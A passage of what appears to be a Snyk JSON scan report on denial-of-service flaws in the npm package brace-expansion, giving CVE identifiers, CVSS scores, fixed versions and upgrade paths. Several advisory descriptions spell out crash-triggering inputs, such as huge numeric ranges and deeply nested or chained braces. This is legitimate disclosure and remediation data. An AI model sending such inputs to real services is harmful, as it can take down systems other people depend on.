Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": 